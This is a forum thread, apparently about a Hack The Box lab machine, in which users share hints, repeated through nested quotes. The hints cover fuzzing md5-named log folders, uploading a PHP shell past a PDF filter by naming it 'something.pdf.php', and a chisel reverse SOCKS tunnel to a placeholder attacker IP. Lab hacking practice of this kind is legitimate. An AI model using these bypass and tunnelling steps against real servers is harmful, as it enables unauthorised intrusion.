(August 6, 2022, 08:34 PM)paulwatson42016 Wrote:

(August 6, 2022, 08:30 PM)karhu Wrote:

(August 6, 2022, 08:09 PM)farkow Wrote:

(August 6, 2022, 08:05 PM)karhu Wrote: Found three additional reports to the ones posted in the blog:

2589
3478
4221
7612
8121
9798

Of note, on 9798, this is listed:

[+] LOGS : logs/e21cece511f43a5cb18d4932429915ed/

Page shows nothing, and returns a blank index.html with wget.

Three new domains are listed in the reports, but I don't think any have to do with the machine:

healtharcade.io.htb
actionmeter.org.htb
bethebest101.uk.htb

Exactly, and when you check e21cece511f43a5cb18d4932429915ed on crackstation, it shows the id of  the report.
So, the question is, when you md5 all those available reports and check their logs folder, will there be any file discovery?

Right, this is what I'm working on currently, but I'm not making much headway. Running ffuf on /HASH/FUZZ where HASH is the list of md5(report#) and FUZZ is a list of common filenames. All that has returned so far is just index.html which are all empty.

There is logs.pdf in md5 of one of the report numbers
It shows file upload page and you see it on there having php shell upload

(August 6, 2022, 08:59 PM)nhocit Wrote:

(August 6, 2022, 08:34 PM)paulwatson42016 Wrote:

(August 6, 2022, 08:30 PM)karhu Wrote:

(August 6, 2022, 08:09 PM)farkow Wrote:

(August 6, 2022, 08:05 PM)karhu Wrote: Found three additional reports to the ones posted in the blog:

2589
3478
4221
7612
8121
9798

Of note, on 9798, this is listed:

[+] LOGS : logs/e21cece511f43a5cb18d4932429915ed/

Page shows nothing, and returns a blank index.html with wget.

Three new domains are listed in the reports, but I don't think any have to do with the machine:

healtharcade.io.htb
actionmeter.org.htb
bethebest101.uk.htb

Exactly, and when you check e21cece511f43a5cb18d4932429915ed on crackstation, it shows the id of  the report.
So, the question is, when you md5 all those available reports and check their logs folder, will there be any file discovery?

Right, this is what I'm working on currently, but I'm not making much headway. Running ffuf on /HASH/FUZZ where HASH is the list of md5(report#) and FUZZ is a list of common filenames. All that has returned so far is just index.html which are all empty.

There is logs.pdf in md5 of one of the report numbers
It shows file upload page and you see it on there having php shell upload

Where the pdf file is uploaded?

(August 6, 2022, 08:59 PM)nhocit Wrote:

(August 6, 2022, 08:34 PM)paulwatson42016 Wrote:

(August 6, 2022, 08:30 PM)karhu Wrote:

(August 6, 2022, 08:09 PM)farkow Wrote:

(August 6, 2022, 08:05 PM)karhu Wrote: Found three additional reports to the ones posted in the blog:

2589
3478
4221
7612
8121
9798

Of note, on 9798, this is listed:

[+] LOGS : logs/e21cece511f43a5cb18d4932429915ed/

Page shows nothing, and returns a blank index.html with wget.

Three new domains are listed in the reports, but I don't think any have to do with the machine:

healtharcade.io.htb
actionmeter.org.htb
bethebest101.uk.htb

Exactly, and when you check e21cece511f43a5cb18d4932429915ed on crackstation, it shows the id of  the report.
So, the question is, when you md5 all those available reports and check their logs folder, will there be any file discovery?

Right, this is what I'm working on currently, but I'm not making much headway. Running ffuf on /HASH/FUZZ where HASH is the list of md5(report#) and FUZZ is a list of common filenames. All that has returned so far is just index.html which are all empty.

There is logs.pdf in md5 of one of the report numbers
It shows file upload page and you see it on there having php shell upload

Where the pdf file is uploaded?

cat /usr/local/sbin/startup.sh
#!/bin/sh
/usr/bin/php -S 127.0.0.1:8080 -t /opt/site.new/

(August 6, 2022, 09:10 PM)farkow Wrote:

(August 6, 2022, 08:59 PM)nhocit Wrote:

(August 6, 2022, 08:34 PM)paulwatson42016 Wrote:

(August 6, 2022, 08:30 PM)karhu Wrote:

(August 6, 2022, 08:09 PM)farkow Wrote: Exactly, and when you check e21cece511f43a5cb18d4932429915ed on crackstation, it shows the id of  the report.
So, the question is, when you md5 all those available reports and check their logs folder, will there be any file discovery?

Right, this is what I'm working on currently, but I'm not making much headway. Running ffuf on /HASH/FUZZ where HASH is the list of md5(report#) and FUZZ is a list of common filenames. All that has returned so far is just index.html which are all empty.

There is logs.pdf in md5 of one of the report numbers
It shows file upload page and you see it on there having php shell upload

Where the pdf file is uploaded?

Did not you FUZZ /logs folder already?

(August 6, 2022, 09:12 PM)loge23 Wrote:

cat /usr/local/sbin/startup.sh
#!/bin/sh
/usr/bin/php -S 127.0.0.1:8080 -t /opt/site.new/

chisel server -p 3477 --reverse

./chisel client YOUR-IP:3477 R:socks

(August 7, 2022, 12:20 AM)vexxxi Wrote: any hint for how to bypass pdf filter ? won't let me upload even normal pdf :s

(August 7, 2022, 12:24 AM)fironeDerbert Wrote:

(August 7, 2022, 12:20 AM)vexxxi Wrote: any hint for how to bypass pdf filter ? won't let me upload even normal pdf :s

You have to set the name like something.pdf.php and keep the pdf first line and last line format

(August 7, 2022, 12:49 AM)vexxxi Wrote:

(August 7, 2022, 12:24 AM)fironeDerbert Wrote:

(August 7, 2022, 12:20 AM)vexxxi Wrote: any hint for how to bypass pdf filter ? won't let me upload even normal pdf :s

You have to set the name like something.pdf.php and keep the pdf first line and last line format

just tried that and wasn't able to get it to go through just always says only pdfs allowed
it should be getting uploaded to /logs/uploads/ right ?